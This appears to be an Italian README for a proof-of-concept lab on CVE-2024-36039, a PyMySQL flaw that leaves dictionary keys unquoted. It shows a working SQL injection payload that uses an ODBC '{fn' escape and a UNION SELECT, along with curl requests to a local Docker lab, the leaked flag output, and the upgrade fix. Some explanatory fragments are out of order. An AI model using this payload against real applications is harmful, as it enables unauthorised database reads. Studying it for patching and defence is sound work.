
PoC per CVE-2024-36039: Dimostrazione di SQL Injection tramite difetto di serializzazione Object-to-String in PyMySQL
Un laboratorio Proof of Concept (PoC) completo e riproducibile per CVE-2024-36039, che dimostra come una vulnerabilità di Object Injection in PyMySQL (versioni <= 1.1.0) possa essere elevata a una SQL Injection completa utilizzando le sequenze di escape ODBC di MariaDB.
CVE-2024-36039 è una vulnerabilità in PyMySQL, una libreria client MySQL pura Python.
Quando query parametrizzate (ad es., execute("SELECT * FROM table WHERE data = %s", (my_dict,))) ricevono un dizionario Python in cui le chiavi sono oggetti personalizzati anziché stringhe standard, PyMySQL utilizza il metodo __str__ o __repr__ dell'oggetto per serializzarlo in una stringa SQL.
Il Bug: PyMySQL dimentica di racchiudere tra apici singoli la stringa risultante dalla chiave oggetto.
Ciò produce una stringa grezza, non quotata, iniettata direttamente nell'istruzione SQL formattata come un dizionario: {ChiaveOggettoNonQuotata: 'ValoreQuotato'}.
Da sola, l'iniezione di {ChiaveNonQuotata: 'Valore'} in una query MariaDB genera un Errore di Sintassi 1064 poiché {} non è una sintassi SQL standard per dati.
Tuttavia, MariaDB/MySQL supporta le sequenze di escape ODBC, che utilizzano le parentesi graffe {}. Per bypassare l'errore di sintassi, la stringa immediatamente dopo { deve essere una parola chiave ODBC valida (ad es., d, t, ts, fn).
fn/* tramite il suo metodo __repr__.*/ 1} UNION SELECT 1, flag, 3 FROM secret -- .SELECT * FROM logs WHERE device_signature = {fn/*: "'*/ 1} UNION SELECT 1, flag, 3 FROM secret -- '"}
{fn : MariaDB riconosce l'inizio di una funzione scalare ODBC./*: "'*/ : MariaDB tratta questo come un commento a blocco. I due punti : e l'apice di apertura ' generati da PyMySQL vengono completamente ignorati! 1} : Completa la funzione ODBC (restituendo effettivamente l'intero 1). UNION SELECT 1, flag, 3 FROM secret : Il nostro payload SQL iniettato viene eseguito.Risultato: Una SQL Injection perfetta che bypassa sia la logica dell'applicazione che la parametrizzazione di PyMySQL!
Clona questo repository e avvia l'ambiente:
git clone https://github.com/zenniskayy2k4/CVE-2024-36039_PoC.git
cd CVE-2024-36039-PoC
docker-compose up -d --build
(Attendi circa 15-20 secondi affinché il container MariaDB si inizializzi completamente).
Invia una richiesta JSON standard. Il backend convertirà la chiave JSON in un oggetto CustomKey.
curl -X POST http://localhost:9669/search \
-H "Content-Type: application/json" \
-d '{"yamato": "Any_value"}'
Risposta: Riceverai un Errore di Sintassi SQL che indica che {yamato: "'Any_value'"} è SQL non valido, confermando il punto di iniezione.
Inietta il payload della sequenza di escape ODBC per bypassare l'errore di sintassi ed estrarre la flag nascosta dalla tabella secret.
curl -X POST http://localhost:9669/search \
-H "Content-Type: application/json" \
-d '{"fn/*": "*/ 1} UNION SELECT 1, flag, 3 FROM secret -- "}'
Risposta (PWNED!):
{
"data":[
{
"device_signature": "PoC{CVE-2024-36039_PyMySQL_0bject_Injecti0n_Success}",
"id": 1,
"log_data": "3"
}
],
"status": "success"
}
Per risolvere questa vulnerabilità, aggiorna PyMySQL alla versione 1.1.1 o successiva.
Nelle versioni corrette, gli sviluppatori garantiscono che tutte le chiavi del dizionario, indipendentemente dal loro tipo, vengano correttamente quotate e racchiuse tra apici prima di essere inserite nell'istruzione SQL.
pip install --upgrade PyMySQL
Disclaimer: Questo repository è creato solo per scopi educativi e di ricerca. Non utilizzare queste tecniche contro sistemi di cui non possiedi la proprietà o senza autorizzazione esplicita per testarli.
© 2026 by zenniskayy. Costruito per un internet più sicuro.
-- '"} : Il commento SQL ignora il resto del contenuto superfluo ('}).